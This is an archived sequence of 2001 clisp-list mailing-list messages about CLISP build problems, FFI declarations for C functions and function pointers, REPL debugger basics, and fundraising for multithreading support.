I can't remember where I read about it:

(inspect 'defun :frontend :http :browser :lynx)

Will interface the lynx browser with the inspect "page" for defun.
"inspect" takes two keywords :frontend - which can be :http or :tty,
(the default) and :browser which specifies which browser to use.

:browser must be in the list of browsers which is kept in the global
variable *browsers*.  If you want to use some other browser (not on
the list) then you can push it onto *browsers*.

Usually, if you can't find the documentation on something, it's
helpful to check the source in $clisp-root/src/*.lisp.  So even if
you're using one of the binaries, you should have the source handy.

Regards,
Peter


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> * In message <20010528082917.B254@localhost.localdomain>
> * On the subject of "[clisp-list] screen-editor?"
> * Sent on Mon, 28 May 2001 08:29:17 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> The manual page mentions a built-in screen editor (under the
> ENVIRONMENT -> TERM section).  There are also references to it on the
> web.  I assume it's gone, since I can't find it, nor anything about it
> in impnotes.

it has been gone for about 5 years.

Bruno said:

The editor was removed because it was a too primitive remake of
terminal-mode emacs. The two most annoying features were that tabs
didn't get displayed correctly, and it didn't get notified when the
xterm window was resized.

If you want CL-Emacs, you would probably be better off making CLISP
interface with GNU Emacs via FFI.
No, I have no idea how to do this.

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Sam-

    Thanks for the replies.  I don't personally think it is unstable, but
since the clisp home lists the last stable release 2.25 and
ftp://clisp.sourceforge.net/pub/clisp/2.26/ where I got it from lists 2.26
as a pretest in the readme.  I'm running Debian 2.2, the kernel is
2.2.19pre17.  Sorry, I keep forgetting to include this stuff.  What does it
matter if I build as root?  make install has to be done as root, and once
that's completed the build files can be deleted.  Obviously I'm no systems
admin expert so please enlighten me on that one;)  To build, in the unpacked
clisp-2.26 dir, I first ran the config script ./configure, then I just copy
and pasted the suggested commands at the end of configure.  Worked with
2.25.  Thanks for all your help.  Btw, in another message from you said you
may have fixed the problem I was having.  Would one of the nightly snapshots
cover this?  Thanks again!

-Eric de Groot
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> > * In message <008801c0e8ca$cbf060e0$4381fb18@CX417245D>
> > * On the subject of "[clisp-list] compiling 2.26"
> > * Sent on Tue, 29 May 2001 22:38:41 -0700
> > * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
> >
> > libmysqlclient to compile, so I'm trying the unstable version 2.26 to
>
> what makes you think it is unstable?!
>
> > see if this was possibly a bug that may have been addressed.  Anyways,
> > for 2.26, make is failing at:
> >
> > ../lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile
> > UTF-8 -norc -q -c screen.lisp
> >
> > Compiling file /root/clisp-2.26/src/screen.lisp ...
> > *** - There is no package with name "SCREEN"
> > make: *** [screen.fas] Error 1
> >
> > In screen.lisp the (use-package ... "SCREEN") isent find SCREEN?  Anyone
> > know what the problem might be?  2.25 compiled straight through no
probs.
>
> where did you get your CLISP sources?
> what is your system? (uname -a)
> why are you building CLISP as root?!
> what command did you use to compile CLISP?
>
> --
> Sam Steingold (http://www.podval.org/~sds)
> Support Israel's right to defend herself!
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> The early bird may get the worm, but the second mouse gets the cheese.
>
>
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> * In message <004d01c0e952$0fe48b00$4381fb18@CX417245D>
> * On the subject of "Re: [clisp-list] compiling 2.26"
> * Sent on Wed, 30 May 2001 14:47:01 -0700
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>
>     Thanks for the replies.  I don't personally think it is unstable,
> but since the clisp home lists the last stable release 2.25 and
> ftp://clisp.sourceforge.net/pub/clisp/2.26/ where I got it from lists
> 2.26 as a pretest in the readme.

fixed.

>  does it matter if I build as root?

you should do as root only those things which cannot be done as
non-root.  building is not one of those tasks.

> Btw, in another message from you said you may have fixed the problem I
> was having.  Would one of the nightly snapshots cover this?  

yes - please get the CVS tree (see the homepage for instructions).

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Sam-

    I tried the instructions for anonymous cvs access at
ftp://clisp.cons.org/pub/lisp/clisp/snapshots/README but when I login, it
asks me for a password.  It doesent except anything.  is anoncvs.gnu.org
still the main cvs repository?  Thanks.

-Eric de Groot
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----- Original Message -----
From: "Sam Steingold" <sds@gnu.org>
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> > * In message <004d01c0e952$0fe48b00$4381fb18@CX417245D>
> > * On the subject of "Re: [clisp-list] compiling 2.26"
> > * Sent on Wed, 30 May 2001 14:47:01 -0700
> > * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
> >
> >     Thanks for the replies.  I don't personally think it is unstable,
> > but since the clisp home lists the last stable release 2.25 and
> > ftp://clisp.sourceforge.net/pub/clisp/2.26/ where I got it from lists
> > 2.26 as a pretest in the readme.
>
> fixed.
>
> >  does it matter if I build as root?
>
> you should do as root only those things which cannot be done as
> non-root.  building is not one of those tasks.
>
> > Btw, in another message from you said you may have fixed the problem I
> > was having.  Would one of the nightly snapshots cover this?
>
> yes - please get the CVS tree (see the homepage for instructions).
>
> --
> Sam Steingold (http://www.podval.org/~sds)
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> > * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
> >
> > For example, the libc read function is defined like this
> > 
> >   (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t))
> >                        (:return-type ssize_t)
> >                        (:name "full_read"))
> > 
> > What sort of lisp object can be used as a BUF here? I tried using an
> > array, but that didn't work..?

Sam Steingold <sds@gnu.org> writes:

> I would think (array (unsigned-byte 8) nbytes)

This is what happens:

[1]> (freebsd::read 1 (make-array 200 :element-type '(unsigned-byte 8)) 200)

*** - 
#(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
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  0 0 0 0 0) cannot be converted to the foreign type FFI:C-POINTER
1. Break [2]> 
 
> please look at the modules/bindings/linuxlibc6.

Well, that is precisely where the definition above comes from. There
doesn't seem to be much there in the way of documentation there.

-- 
Frode Vatvedt Fjeld


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On Wed, May 30, 2001 at 01:48:19PM -0400, Sam Steingold wrote:
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > However, clisp -ansi as of this morning gives:
> 
> if you live on the bleeding edge, you should subscribe to clisp-devel.

In that case, please change your moderation message, which quite
clearly told me to send this mail to clisp-list, or else allow
messages through from non-subscribers. I have no particular desire to
receive CVS commit mails, though I do follow them on geocrawler.
 
> > [23]> (compile-file-pathname #p"cl-library:;metering;metering.lisp")
> > 
> > *** - PARSE-NAMESTRING: argument should be a string, symbol, file
> >       stream or pathname, not #<UNBOUND>
> 
> I do not observe this.  

In clisp -ansi?

> Moreover, #p"cl-library:;metering;metering.lisp"
> is not a logical pathname.

It is if -ansi is enabled (I believe correctly):

clisp -ansi
[1]> (setf (logical-pathname-translations "CL-LIBRARY") 
           (list '(";**;*.*.*" "/tmp/clisp/**/*.*")))
((#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
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#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO")
   :NAME "BAR" :TYPE "LISP" :VERSION NIL)

Are you claiming that this should not be the case?

> (compile-file-pathname (logical-pathname "clocc:clocc.lisp"))
> is buggy, and, hopefully, will be fixed shortly.

Great, thanks.

Cheers,

Christophe
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On Wed, May 30, 2001 at 03:25:51PM -0400, Sam Steingold wrote:

> [screen-editor]  has been gone for about 5 years.
 ...
> If you want CL-Emacs, you would probably be better off making CLISP
> interface with GNU Emacs via FFI.

I'm mostly happy with emacs as is.  The reason I asked is that I am
using clisp as a login shell (with dispatch-macro-characters and
read-from-delimited-stream for running programs conveniently via
run-program)

I would like to somehow enable indentation while running clisp on the
console or an xterm.

I can see 2 ways of doing it:

1) Readline 
2) String-output streams 

I just wanted to see how these things were done in the screen-editor,
but it doesn't matter.

Regards,
Peter


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> * In message <20010531094111.C3312@cam.ac.uk>
> * On the subject of "Re: [clisp-list] Pathnames..."
> * Sent on Thu, 31 May 2001 09:41:11 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> On Wed, May 30, 2001 at 01:48:19PM -0400, Sam Steingold wrote:
> > if you live on the bleeding edge, you should subscribe to clisp-devel.
> 
> In that case, please change your moderation message, which quite
> clearly told me to send this mail to clisp-list, or else allow
> messages through from non-subscribers. I have no particular desire to
> receive CVS commit mails, though I do follow them on geocrawler.

I repeat: if you live on the bleeding edge, you should subscribe to
clisp-devel, and _read_ it, including all the CVS commit messages.
clisp-devel does not allow messages from non-subscribers - it is a
closed mailing list for developers and pretesters (which includes those
using CVS clisp).

> > (compile-file-pathname (logical-pathname "clocc:clocc.lisp"))
> > is buggy, and, hopefully, will be fixed shortly.

done - you knew that already if you read clisp-devel.

-- 
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> * In message <00cc01c0e966$06370920$4381fb18@CX417245D>
> * On the subject of "Re: [clisp-list] compiling 2.26"
> * Sent on Wed, 30 May 2001 17:09:55 -0700
> * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
>
>     I tried the instructions for anonymous cvs access at
> ftp://clisp.cons.org/pub/lisp/clisp/snapshots/README but when I login,
> it asks me for a password.  It doesent except anything.  is
> anoncvs.gnu.org still the main cvs repository?  Thanks.

The README is obsolete - I just fixed it.
We have been using sourceforge CVS for more than a year.
Please follow the instructions on http://clisp.cons.org, and report
problems in the CVS version on clisp-devel.

PS. Please _do_ edit the quoted messages for _brevity_!


-- 
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> * On the subject of "Re: [clisp-list] UDP network streams"
> * Sent on 31 May 2001 02:36:45 +0200
> * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
>
> > > * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
> > >
> > > For example, the libc read function is defined like this
> > > 
> > >   (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t))
> > >                        (:return-type ssize_t)
> > >                        (:name "full_read"))
> > > 
> > > What sort of lisp object can be used as a BUF here? I tried using an
> > > array, but that didn't work..?
> 
> Sam Steingold <sds@gnu.org> writes:
> 
> > I would think (array (unsigned-byte 8) nbytes)
> 
> This is what happens:
> 
> [1]> (freebsd::read 1 (make-array 200 :element-type '(unsigned-byte 8)) 200)
> 
> *** - 
> #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
>   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
>   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
>   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
>   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
>   0 0 0 0 0) cannot be converted to the foreign type FFI:C-POINTER
> 1. Break [2]> 
>  
> > please look at the modules/bindings/linuxlibc6.
> 
> Well, that is precisely where the definition above comes from. There
> doesn't seem to be much there in the way of documentation there.

Bruno said to this:

read() is a good example for a function which is not well handled by
the FFI, because of the untyped 'buf' which makes it possible to
inadvertently smash CLISP memory.

I'd recommend to write a wrapper that converts the bytes read (and
only those!) to a freshly allocated (array (unsigned-byte 8)).

Look at the "call-in" example in the impnotes.

Something like this. (Untested, I hope you can complete it.)


void* read_result_buf;
size_t read_result_len;
size_t read_result_size;
ssize_t my_read (int fd, size_t max)
{ 
  if (read_result_size < max) {
    read_result_size = max;
    read_result_buf = xrealloc(read_result_buf,read_result_size);
  }
  ssize_t n = full_read (fd, read_result_buf, max);
  if (n >= 0)
    read_result_len = n;
  return n;
}


(def-c-var read_result_buf (:type c-pointer))
(defun my-read (fd max)
  (let ((n (my_read fd max)))
    (if (< n 0)
      (error ... 'file-error ...))
    (if (= n 0)
      nil
      (cast read_result_buf `(c-ptr (c-array uint8 ,n)))
) ) )


An alternative is the use of read-sequence, of course.

Bruno


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I have no good advice here, but wanted to mention that
(1) I hope you get this stuff working
(2) I hope you try to make it reasonably clean and usable by others
(3) I hope you make it available to the rest of us.
If you do a good enough job of it I suppose Sam/Bruno might even
adopt it into the distributed version.

Thanks for that effort.


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with both CL and clisp, i've got clisp installed and working with emacs
and i got the ansi spec in info format and have gotten a fair bit along
with it. 

I'm looking for pointers to documentation on the following:

1.numbered prompts 
When i see '#. Break [#]>' what does it mean? I've gotten the idea that
the number in brackets has to do with evaluation frames and increments
whenever there is an error, but i haven't found any docs that give a clear
explanation of what's going on and how i could gather useful information
out of that.

2.example dribble files
Does anyone have some clearly commented clisp sessions posted on the net?
I'd like to see examples of things like error recovery, reediting the
previous form and backing out the results of a well-intentioned but
misdirected expression. 

3.some questions about the language
lambda is implicit except when it's not, what's a good heuristic for
telling the difference?
A lot of forms seem to create other functions, or at least enter
themselves into some sort of global hierarchy where generic functions get
called on them as specific. The behavior of defstruct for example looks to
do a lot of things under the covers. can the interpreter be given a flag
to print out a trace of what's being altered where?

Thanks in Advance,
larry 

ps. is there a good mailing list for CL-newbies, c.l.l. seems a bit noisy
and rowdy for those seeking to learn...and this list is implementation
specific is it not?

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welcome!
I suggest getting (and _reading_!) the Paul Graham's "ANSI CL" book - or
_any_ book on CL - you won't regret the investment!

> * In message <Pine.GSU.4.21.0105311040390.3929-100000@garcia.efn.org>
> * On the subject of "[clisp-list] just getting started"
> * Sent on Thu, 31 May 2001 11:27:10 -0700 (PDT)
> * Honorable larry a price <laprice@efn.org> writes:
>
> 1.numbered prompts 
> When i see '#. Break [#]>' what does it mean?

the first number is the number of the prompt (like "\#" in bash and %#
in csh), the second is the depth of the error nesting.

> 2.example dribble files

when CLISP is started it enters the so-called Read/Eval/Print loop: it
 - reads a form
 - evaluates it
 - prints the result

$ clisp -q -norc
 
[1]> (! 10)
3628800
[2]> (! 100)
93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000
[3]> 123                               ; number evaluates to themselves
123
[4]> "abc"                             ; ditto for a string
"abc"
[5]> abc                               ; symbol --> value of the variable;
                                       ; no value --> debugger!
*** - EVAL: variable ABC has no value
1. Break [6]> help
 
Commands may be abbreviated as shown in the second column.
COMMAND        ABBR             DESCRIPTION
Help           :h (or ?)        this command list
Error          :e               Print the recent Error Message
Abort          :a               abort to the next recent input loop
Unwind         :uw              abort to the next recent input loop
Mode-1         :m1              inspect all the stack elements
Mode-2         :m2              inspect all the frames
Mode-3         :m3              inspect only lexical frames
Mode-4         :m4              inspect only EVAL and APPLY frames (default)
Mode-5         :m5              inspect only APPLY frames
Where          :w               inspect this frame
Up             :u               go up one frame, inspect it
Top            :t               go to top frame, inspect it
Down           :d               go down one frame, inspect it
Bottom         :b               go to bottom (most recent) frame, inspect it
Backtrace-1    :bt1             list all stack elements
Backtrace-2    :bt2             list all frames
Backtrace-3    :bt3             list all lexical frames
Backtrace-4    :bt4             list all EVAL and APPLY frames
Backtrace-5    :bt5             list all APPLY frames
Backtrace      :bt              list stack in current mode
Backtrace-l    :bl              list stack in current mode.
                                Limit of frames to print will be prompted for.
Frame-limit    :fl              set the frame-limit. This many frames will
                                be printed in a backtrace at most.
Break+         :br+             set breakpoint in EVAL frame
Break-         :br-             disable breakpoint in EVAL frame
Redo           :rd              re-evaluate form in EVAL frame
Return         :rt              leave EVAL frame, prescribing the return values
1. Break [6]> :a                ; get out of the debugger
 
[7]> 'abc                       ; single quote quotes (prevents evaluation)
ABC
[8]> *pathname-encoding*        ; take a value of a variable
#<ENCODING CHARSET:ISO-8859-1 :UNIX>
[9]> '*pathname-encoding*        ; quote a symbol
*PATHNAME-ENCODING*
[10]> help
 
Help (abbreviated :h) = this list
Use the usual editing capabilities.
(quit) or (exit) leaves CLISP.
[11]> (quit)

> 3.some questions about the language

you better ask these on news:comp.lang.lisp

> lambda is implicit except when it's not, what's a good heuristic for
> telling the difference?

what do you mean?!

> A lot of forms seem to create other functions, or at least enter
> themselves into some sort of global hierarchy where generic functions
> get called on them as specific. The behavior of defstruct for example
> looks to do a lot of things under the covers. can the interpreter be
> given a flag to print out a trace of what's being altered where?

not really.
check out "trace", "step" and "macroexpand" though.

> ps. is there a good mailing list for CL-newbies, c.l.l. seems a bit
> noisy and rowdy for those seeking to learn...

still it is the place to ask questions.

> and this list is implementation specific is it not?

this list is specific to the CLISP implementation of ANSI Common Lisp.

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Sam-

    Ok, I checked out clisp from your cvs repos at sourceforge today, but I
still can't compile.  2.25.1 compiled straight through, but 2.26, and this
latest checkout both fail when screen.lisp is getting compiled.  Telling me
"There is no package with name "SCREEN"".  I looked at screen.lisp from the
checkout vrs screen.lisp from 2.25.1, and the checkout includes "SCREEN" in
the (use-package ) statement, which I thought might be causing the error
because it's trying to include itself, but changing it didn't do anything.
When I run makemake, I had to do it with --with-noreadline
and --with-no-termcap-ncurses, which btw are both installed (libreadline,
libncurses, libtermcap), but configure still doesent seem to find them.  my
libncurses doesent have tgetent(), it's version 4.x something, the latest
available from the debian potato branch.  Whatever, I don't think i'll need
either for what I'm doing.  Again, this is on debian 2.2 (2.2.19pre17).  Is
screen.lisp supposed to be skipped with --with-no-termcap-ncurses?  Do you
have any idea where the problem might be?  This started with 2.26, if
tgetent isent found, and --with-no-termcap-ncurses is passed to makemake, it
fails trying to compile screen.lisp.  There are big differences in makemake
between 2.25.1 and >=2.26 so I'm thinking that's where my problem might be.
I'll keep lookin around in there.  Also, there is a bug with makemake from
the checkout, the line(3389 for me):

echol
"DISTFILE=$(PACKDIR)/$(TOPDIR)-"`uname -m`-`uname -p`-`uname -s`-`uname -r`"
$(PACKEXT)"

needed to be changed to:

echol
"DISTFILE=${PACKDIR}/${TOPDIR}-"`uname -m`-`uname -p`-`uname -s`-`uname -r`"
${PACKEXT}"

before it would run for me.  That's curly braces instead of parens.

Thanks for all your help.

-Eric de Groot
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On Thu, 31 May 2001 11:27:10 -0700 (PDT), larry a price <laprice@efn.org>
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> ps. is there a good mailing list for CL-newbies, c.l.l. seems a bit noisy
> and rowdy for those seeking to learn...and this list is implementation

Actually, comp.lang.lisp is an excellent resource for novices.


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Don Cohen <donc@users.sourceforge.net> is accepting pledges to pay for
CLISP MT.  Right now we have $1,000.00.  Please contact Don personally
if you would like to contribute.
The job posting is here:
http://sourceforge.net/people/viewjob.php?group_id=1355&job_id=3573
The final decision on whether to the job is done (and thus to release
the money) shall be made by Bruno.

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> Don Cohen <donc@users.sourceforge.net> is accepting pledges to pay for
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> if you would like to contribute.

What is CLISP MT?

Cheers

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> * In message <00c101c0ea37$71d5ed00$4381fb18@CX417245D>
> * On the subject of "Re: [clisp-list] compiling 2.26"
> * Sent on Thu, 31 May 2001 18:09:01 -0700
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> Telling me "There is no package with name "SCREEN"".

this means that your termcap library is somehow deficient.
you should investigate this.

Nevertheless, this is not a good reason for CLISP not to compile.
Please do 'cvs up' - I believe I just fixed your problems.

Thanks for your bug reports.

Please note that you should subscribe to clisp-devel and ask questions
there, since you are not using a released version of CLISP.

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> * In message <200106011351.JAA05959@octagon.mrl.nyu.edu>
> * On the subject of "Re: [clisp-list] CLISP MT"
> * Sent on Fri, 1 Jun 2001 09:51:38 -0400
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are you sure you need to include 10 lines of headers?

> > Don Cohen <donc@users.sourceforge.net> is accepting pledges to pay for
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> > if you would like to contribute.
> 
> What is CLISP MT?

MT = multi-threading
you would have found it out if you clicked on the URL I sent.

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On Fri, Jun 01, 2001 at 09:51:38AM -0400, Marco Antoniotti wrote:
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 At a guess, multi-threading.

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Peter


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 > What is CLISP MT?
The project is to make clisp MultiThreaded (=MT), also known as
multiprocessing in olden times.

This has been discussed on and off for years and many of us have
wished for it.  Sam seems to have found someone in Russia who he
says can do it for very few dollars (possibly still a reasonable
number of rubles) - he suggests a few thousand dollars might be
enough.  
Sam wrote:
 Of course, the job will be advertised on SF and the result would have
 to be approved by Bruno.
I don't claim to understand the details of the proposed implementation
but I'm willing to trust Bruno's judgment.

Given the amount I thought it made sense to ask for contributions from
individuals.  Of course, if you can justify charging your research
contract or spending company funds, better still.  Let me know how
much you're willing to contribute.  If the contributions exceed the
actual cost then I think we should just reduce each contribution in
proportion.

I see that Sam has volunteered me to collect the pledges.  I guess
that's only fair since I was trying to volunteer him.  I guess we'll
figure out how to collect the actual money after it's determined that
there will be enough to do something worth while.

 > > Don Cohen <donc@users.sourceforge.net> is accepting pledges to pay for
The address above seems not to work.
(So far I think the problem is in the sourceforge mailer.)
Instead use the address from which I send this message,
  don-sourceforge@isis.compsvcs.com (Don Cohen)



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I tried mailing one of the clisp developers and received an automated
note that I should contact this list.  So here goes.

Is there indeed a clisp binary for Macintosh OS-X?  I was told that
there was, and I downloaded a Mac tarball from the binaries page.  But
after expanding this, I wasn't able to find any binaries, and couldn't
find any further directions for use under Mac OS-X.

So I tried building clisp.  I did a "make" in the clisp folder, as
directed, but got errors (see below).  I think I know how to remove
some of these (for example, the one referring to dbuenzli).  But the
fact that I would need to do so makes me think that there are deeper
problems here, or else I'm just overlooking the obvious.  Any
suggestions?

Thanks in advance,

David Finton
finton@cs.wisc.edu

---------- Build attempt: -----------
[localhost:~/Downloads/clisp-2.25.1] djf% make
cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libiconv.a
base/libintl.a base/libreadline.a -liconv -L/Users/dbuenzli/tmp/build/lib
-o base/lisp.run
/usr/bin/ld: warning -L: directory name
(/Users/dbuenzli/tmp/build/lib) does not exist
/usr/bin/ld: table of contents for archive: base/lisp.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libiconv.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libintl.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libreadline.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: can't locate file for: -liconv
make: *** [base/lisp.run] Error 1
[localhost:~/Downloads/clisp-2.25.1] djf% 





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> * In message <Pine.GSO.4.21.0106011601430.12241-100000@nova10.cs.wisc.edu>
> * On the subject of "[clisp-list] clisp for OSX?"
> * Sent on Fri, 1 Jun 2001 16:09:16 -0500 (CDT)
> * Honorable "David J. Finton" <finton@cs.wisc.edu> writes:
>
> Is there indeed a clisp binary for Macintosh OS-X?  I was told that
> there was, and I downloaded a Mac tarball from the binaries page.  But
> after expanding this, I wasn't able to find any binaries, and couldn't
> find any further directions for use under Mac OS-X.

what you got appears to be a binary distribution.
it does require compiling a simple wrapper for installation.
please do edit the makefile as you wish.

actually, you don't have to compile anything.
if you unpack the binary distribution in directory ${FOO}, you can run
CLISP like this:
${FOO}/base/lisp.run -B ${FOO} -M ${FOO}/base/lispinit.mem

>   Any suggestions?

if you fail to make use of the binary distribution, get the sources and
compile them using "./configure --build build".

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Sam, thanks for your help!  I tried following your suggestions, but
ran into the following additional problems:

On 1 Jun 2001, Sam Steingold wrote:

> actually, you don't have to compile anything.
> if you unpack the binary distribution in directory ${FOO}, you can run
> CLISP like this:
> ${FOO}/base/lisp.run -B ${FOO} -M ${FOO}/base/lispinit.mem

The version I unpacked doesn't have lisp.run anywhere.  It does have
base/lispinit.mem, though.

> if you fail to make use of the binary distribution, get the sources and
> compile them using "./configure --build build".

Since the version I unpacked appears to have the source, I tried building
this (unsuccessfully).  Do you mean I should unpack a different version?

This version doesn't have a file called configure anywhere in the
directory structure.  I did find src/config.fas and src/config.lisp
though.

I tried commenting out "-L /Users/dbuenzli/tmp/build/lib" in the Makefile
and tried a make, for giggles.  Didn't work (errors below).

So.  Is this really a binary distribution if it doesn't have lisp.run?
If so, can you tell me what to look for -- I'm pretty green when it comes
to building.

Thanks for looking at this,

David Finton

------------------------------------------------------------------------

[localhost:~/Downloads/clisp-2.25.1] djf% make
cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libiconv.a
base/libintl.a base/libreadline.a -liconv -o base/lisp.run
/usr/bin/ld: table of contents for archive: base/lisp.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libiconv.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libintl.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libreadline.a is out of
date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: can't locate file for: -liconv
make: *** [base/lisp.run] Error 1




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> * In message <Pine.GSO.4.21.0106021633520.11444-100000@nova10.cs.wisc.edu>
> * On the subject of "Re: [clisp-list] clisp for OSX?"
> * Sent on Sat, 2 Jun 2001 16:49:14 -0500 (CDT)
> * Honorable "David J. Finton" <finton@cs.wisc.edu> writes:
>
> The version I unpacked doesn't have lisp.run anywhere.  It does have
> base/lispinit.mem, though.

so it is a binary distribution.
you did not even post the name of the file you got.
(people, everyone, when sending a bug report, please tell us where you
got the file, its name, timestamp, moon phase when you unpacked it, the
position of your microwave oven relative to the TV set &c).

> [localhost:~/Downloads/clisp-2.25.1] djf% make
> cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libiconv.a
> base/libintl.a base/libreadline.a -liconv -o base/lisp.run

this is trying to build lisp.run.
you can try to investigate the error message &c, but your best bet is
getting the sources and building from them.

go to http://clisp.cons.org
get the source tarball (clisp-2.26.tar.gz or clisp-2.26.tar.bz2)
untar
do ./configure --build build

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Thanks for putting up the patch diffs at cons.org.  One niggle: would it be
possible to do diffs at a consistent patch level, preferrably at -p1 to the
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Very nice piece of work, keep it up!

 I'm confused, can somebody help?
  
  $ cvs -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp login
  (Logging in to anonymous@cvs.clisp.sourceforge.net)
  CVS password: anonymous
  
  cvs [login aborted]: authorization failed: server cvs.clisp.sourceforge.net rejected access
  $ 

It appears I can not get access to the pserver for clisp.
That makes it harder to offer up patches :-).

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> * In message <20010606135749.62246.qmail@zap.ne.mediaone.net>
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> * Sent on 6 Jun 2001 13:57:49 -0000
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>
>  I'm confused, can somebody help?
>   
>   $ cvs -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp login
>   (Logging in to anonymous@cvs.clisp.sourceforge.net)
>   CVS password: anonymous
>   
>   cvs [login aborted]: authorization failed: server cvs.clisp.sourceforge.net rejected access
>   $ 

please ask about this the SF maintainers!
I have no control over the servers.

> [[While I'm on the wire, I'd be happy if the mailing lists didn't
> display the subscribers, there is a toggle in the mailman UI under
> privacy options.]]

okay, done - the list is now visible only to the subscribers.

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> * In message <00e701c0ee78$091f8240$4381fb18@CX417245D>
> * On the subject of "Re: clisp ffi"
> * Sent on Wed, 6 Jun 2001 04:01:27 -0700
> * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
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>     Ok, cool, the only problem I have at the moment is the function pointer.
> For the lisp I have:
> 
> (error_handler (c-ptr (c-function)))
> 
> which gives me:
> 
> void * ERROR_HANDLER ();
> 
> but I need:
> 
> void (*ERROR_HANDLER)();

I thought that in ANSI C
        void (*f) ();
and
        void f ();
were interchangeable.

please try this patch and see if it helps _and_ does not break any other
code. 

Index: foreign1.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/foreign1.lisp,v
retrieving revision 1.7
diff -u -w -b -u -b -w -i -B -r1.7 foreign1.lisp
--- foreign1.lisp	2001/06/03 04:04:35	1.7
+++ foreign1.lisp	2001/06/06 15:31:03
@@ -599,7 +599,7 @@
               (to-c-typedecl (svref c-type 1)
                              (format nil "(~A)[~D]" name (svref c-type 2))))
              ((c-ptr c-ptr-null c-array-ptr)
-              (to-c-typedecl (svref c-type 1) (format nil "* ~A" name)))
+              (to-c-typedecl (svref c-type 1) (format nil "(* ~A)" name)))
              (c-function
               (to-c-typedecl (svref c-type 1) (format nil "~A ()" name)))
              (t (error (ENGLISH "illegal foreign data type ~S")


[PS. no clisp support via private e-mail - please use the lists!]

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Sam Steingold wrote:
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...
 > please ask about this the SF maintainers!

Done: 
http://sourceforge.net/tracker/index.php?func=detail&aid=430715&group_id=1&atid=100001

 > > display the subscribers
 > 
 > okay, done - the list is now visible only to the subscribers.

your a saint.

 - ben

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Sam-

    Ok, I tried the patch you sent me, but now I get parens around
everything I use c-ptr with.  Only function pointers need the parens.
Maybee this will require a new case, like C-FUNCTIONPTR or something?  I
also get parens around the def of mysql_init now like:

extern struct t2248 { /* ....... */ } (* (mysql_init)());

from:

(def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql)))
                           (:return-type (c-ptr st_mysql)))

Also, you can see above, it's still not doing the arguments, I just get
mysql_init().

Thanks.

-Eric de Groot
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> * In message <005c01c0eeca$1eae2e70$4381fb18@CX417245D>
> * On the subject of "Re: [clisp-list] Re: clisp ffi"
> * Sent on Wed, 6 Jun 2001 13:48:45 -0700
> * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
>
>     Ok, I tried the patch you sent me, but now I get parens around
> everything I use c-ptr with.  Only function pointers need the parens.

please send an example and then remove the patch. ;-)

also, since in C
        int (*f) ();
and
        int f()
are equivalent, you can just write
        (error_handler (c-function))

> (def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql)))
>                            (:return-type (c-ptr st_mysql)))
> 
> Also, you can see above, it's still not doing the arguments, I just
> get mysql_init().

this should not be a problem as C does not require full prototypes.

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Sam-

    in C, int (*f)(); and int f(); are not equivalent.  I'm trying to
declare a function pointer as a member of a structure, like:

struct mystruct {
    int (*f)();
};

you cannot write:

struct mystruct {
    int f();
}

this would work in c++ if mystruct::f() {} was defined elsewhere, but even
then it's still not a function pointer.  Excuse me if you already know this,
but just to make sure we are both clear on function pointers..

with function pointers you can do this:

struct mystruct {
    int (*f)();
};

int a() {
    printf("aaaa");
}

int b() {
    printf("bbbb");
}

struct mystruct mystructinst;

mystructinst.f = &a;
(*mystructinst.f)();

